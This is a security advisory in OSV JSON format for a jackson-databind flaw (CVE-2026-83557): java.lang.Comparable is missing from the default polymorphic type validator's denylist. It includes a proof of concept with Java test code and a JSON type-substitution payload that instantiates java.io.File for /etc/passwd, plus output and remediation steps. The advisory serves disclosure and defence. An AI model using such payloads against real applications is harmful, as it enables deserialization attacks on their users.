CVE-2026-83557: jackson-databind Comparable Missing From DefaultBaseTypeLimitingValidator's Unsafe Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gx83-3vf8-gh7j",
  "modified" : "2026-09-28T20:44:25Z",
  "published" : "2026-09-28T20:44:25Z",
  "aliases" : [ "CVE-2026-83557" ],
  "summary" : "jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)",
  "details" : "### Summary\n`DefaultBaseTypeLimitingValidator` — the `PolymorphicTypeValidator` used automatically whenever `@JsonTypeInfo` is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific \"unsafe base types\" (`Object`, `Serializable`, `Closeable`, `AutoCloseable`, `Cloneable`, `Runnable`, `java.util.logging.Handler`, `javax.naming.Referenceable`, `javax.sql.DataSource`). Its `isSafeSubType()` returns `true` unconditionally for every other base type. `java.lang.Comparable` is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to `Serializable`, which is denylisted for exactly that reason. An application with an `@JsonTypeInfo`-annotated `Comparable`-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing `Comparable`.\n\n### Details\n**Affected file:** `src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java`\n\n```java\nprivate final static class UnsafeBaseTypes {\n    private final Set<String> UNSAFE = new HashSet<>();\n    {\n        UNSAFE.add(Object.class.getName());\n        UNSAFE.add(java.io.Closeable.class.getName());\n        UNSAFE.add(java.io.Serializable.class.getName());\n        UNSAFE.add(AutoCloseable.class.getName());\n        UNSAFE.add(Cloneable.class.getName());\n        UNSAFE.add(Runnable.class.getName());          // [databind#5014]\n        UNSAFE.add(\"java.util.logging.Handler\");\n        UNSAFE.add(\"javax.naming.Referenceable\");\n        UNSAFE.add(\"javax.sql.DataSource\");\n        // java.lang.Comparable is NOT present here\n    }\n}\n\nprotected boolean isSafeSubType(DatabindContext ctxt,\n        JavaType baseType, JavaType subType) {\n    return true;   // unconditional for every base type not in UNSAFE\n}\n```\n\nThe class's own JavaDoc acknowledges the design (*\"Note that when using potentially unsafe base type like `java.lang.Object` a custom implementation... is needed\"*), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that `Comparable` has the same breadth of implementers as the types this class *does* restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (`Runnable` was added recently for issue #5014).\n\nThis is specific to the **default, unconfigured validator** reached via bare `@JsonTypeInfo` usage. Global \"Default Typing\" via `activateDefaultTyping()` is **not** affected, because that method structurally requires an explicit `PolymorphicTypeValidator` argument — a correctly-configured `BasicPolymorphicTypeValidator` rejects the same payload under `activateDefaultTyping()`.\n\n### PoC\nBuilt entirely from source (jackson-databind + jackson-core + jackson-annotations, `javac`, OpenJDK 21, no third-party gadget libraries, no network access):\n\n**1. Sanity check (benign class, confirms the mechanism fires):**\n```java\nstatic class SafeThing implements Comparable<SafeThing> {\n    public String name;\n    public SafeThing() {}\n    public int compareTo(SafeThing o) { return 0; }\n}\nstatic class Holder {\n    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)\n    public Comparable<?> value;\n}\n\nObjectMapper mapper = JsonMapper.builder().build();   // no custom PTV\nString json = \"{\\\"value\\\":{\\\"@class\\\":\\\"...SafeThing\\\",\\\"name\\\":\\\"hello\\\"}}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=...SafeThing\n```\n\n**2. Real JDK class substitution:**\n```java\nString json = \"{\\\"value\\\":[\\\"java.io.File\\\",\\\"/etc/passwd\\\"]}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd\n```\n\n**3. Negative control — Default Typing with an explicit custom PTV:**\n```java\nPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n    .allowIfSubType(\"PtvGapTest4\").build();\nObjectMapper mapper = JsonMapper.builder()\n    .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();\n// same java.io.File payload\n// RESULT: REJECTED - InvalidTypeIdException: \"...denied resolution\"\n```\n\n**Observed output:**\n\n\n\n\n$ java -cp .:build/classes PtvGapTest3\nTrying: {\"value\":[\"java.io.File\",\"/etc/passwd\"]}\nACCEPTED, class=java.io.File value=/etc/passwd\n\n$ java -cp .:build/classes PtvGapTest4\nTrying malicious substitution: [\"PtvGapTest4$Holder\",{\"value\":[\"java.io.File\",\"/etc/passwd\"]}]\nREJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a\nsubtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution\n\n\n\n\n### Impact\nAny application declaring an `@JsonTypeInfo`-annotated property or class with `Comparable` as its base type, without a separately configured restrictive `PolymorphicTypeValidator`, will accept a type identifier for essentially any class implementing `Comparable`. Concrete impact is demonstrated via `java.io.File`: an attacker can cause construction of a `File` object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive. \n\n**Suggested remediation:**\n1. Add `java.lang.Comparable` to `UnsafeBaseTypes.UNSAFE`.\n2. Audit other broad JDK interfaces (`java.lang.Iterable`, `java.util.EventListener`) for the same gap.\n3. Consider a narrower default for `isSafeSubType()` for base types outside the fixed denylist, rather than unconditional `true`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "tools.jackson.core:jackson-databind"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.1.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "tools.jackson.core:jackson-databind"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.2.0"
      }, {
        "fixed" : "3.2.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-databind"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.11.0"
      }, {
        "fixed" : "2.18.10"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-databind"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.19.0"
      }, {
        "fixed" : "2.21.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-databind"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.22.0"
      }, {
        "fixed" : "2.22.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-gx83-3vf8-gh7j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-83557"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/issues/6156"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/pull/6155"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/commit/eb3b7fc0f9c0d27f471550ac3316b17d1987388f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FasterXML/jackson-databind"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502", "CWE-915" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-28T20:44:25Z",
    "nvd_published_at" : "2026-09-01T15:17:37Z"
  }
}